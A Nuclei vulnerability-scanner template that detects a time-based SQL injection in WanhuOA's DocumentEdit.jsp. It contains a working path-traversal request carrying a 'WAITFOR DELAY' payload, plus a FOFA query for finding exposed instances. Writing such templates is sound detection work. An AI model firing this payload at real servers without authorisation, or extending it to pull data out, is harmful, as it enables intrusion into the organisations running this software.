32 lines
1.4 KiB
YAML
Executable File
32 lines
1.4 KiB
YAML
Executable File
id: wanhu-documentedit-sqli
|
|
|
|
info:
|
|
name: WanhuOA DocumentEdit.jsp - SQL Injection
|
|
author: SleepingBag945
|
|
severity: high
|
|
description: |
|
|
The Wanhu OA DocumentEdit.jsp file has a SQL injection vulnerability. An attacker can perform SQL injection into the database by sending a special request package and obtain sensitive information on the server.
|
|
reference:
|
|
- http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20DocumentEdit.jsp%20SQL注入漏洞.html
|
|
- https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E4%B8%87%E6%88%B7OA%20DocumentEdit.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
fofa-query: app="万户网络-ezOFFICE"
|
|
tags: time-based-sqli,wanhu,sqli
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 15s
|
|
GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1';WAITFOR%20DELAY%20'0:0:7'-- HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=7'
|
|
- 'status_code == 200'
|
|
- 'contains_all(body, "iSignature", "DoYFSignature")'
|
|
condition: and
|
|
# digest: 490a0046304402202700d7af030f6d3c6402f9aa4ad283bf587f3fe472e73e7876d6436d249f5c510220590665c6072bb26536b743ec3c461573a984776ffcc5fd9b3fd722af6e9823b4:922c64590222798bb761d5b6d8e72950 |